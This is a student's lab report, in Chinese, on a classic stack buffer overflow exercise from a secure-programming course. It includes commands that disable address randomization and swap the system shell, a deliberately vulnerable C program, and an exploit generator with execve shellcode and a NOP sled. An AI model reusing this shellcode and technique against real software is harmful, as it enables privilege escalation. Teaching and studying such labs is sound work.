缓冲区溢出

#20181216安全编程技术缓冲区溢出选做题

课程：《安全编程技术》

班级： 1812

姓名： 杨越麒

学号：20181216

实验教师：娄嘉鹏

实验日期：2020年10月11日

## 1.实验内容 本次实验要求使用实验楼网站做一个缓冲区溢出的实验，实验步骤在实验楼的提示中都有

## 2. 实验过程及结果

1. 实验楼提供的是 64 位 Ubuntu linux，而本次实验为了方便观察汇编语句，我们需要在 32 位环境下作操作，因此实验之前需要做一些准备

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
sudo apt-get install -y python3.6-gdbm gdb

2.关闭地址空间随机化

sudo sysctl -w kernel.randomize_va_space=0

3.由于防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。因此，即使你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防护措施在/bin/bash中实现，所以我们使用zsh进行代替。

sudo su
cd /bin
rm sh
ln -s zsh sh
exit

4.编写漏洞程序和攻击程序

漏洞程序：

/* stack.c */

/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bof(char *str)
{
    char buffer[12];

    /* The following statement has a buffer overflow problem */ 
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

攻击程序：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
    strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer，偏移量设为了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的代码，\x??\x??\x??\x?? 处需要添上 shellcode 保存在内存中的地址，因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们，shellcode 保存在 buffer + 100 的位置。 然后通过gdb调试和计算得到shellcode 保存在内存中的地址

FFFFCFB0 + 64 = FFFFD014

攻击结果：

练习：

由于打开了地址空间随机化，所以后面不能攻击了

## 3. 实验过程中遇到的问题和解决过程

- 问题1：GDB没有安装

解决方案：装一个 gdb：

`sudo apt-get install gdb`

## 感悟、思考 本实验是一个缓冲区溢出攻击的实验，通过这个实验我了解了缓冲区溢出的攻击方法，为今后的网络攻防打下基础。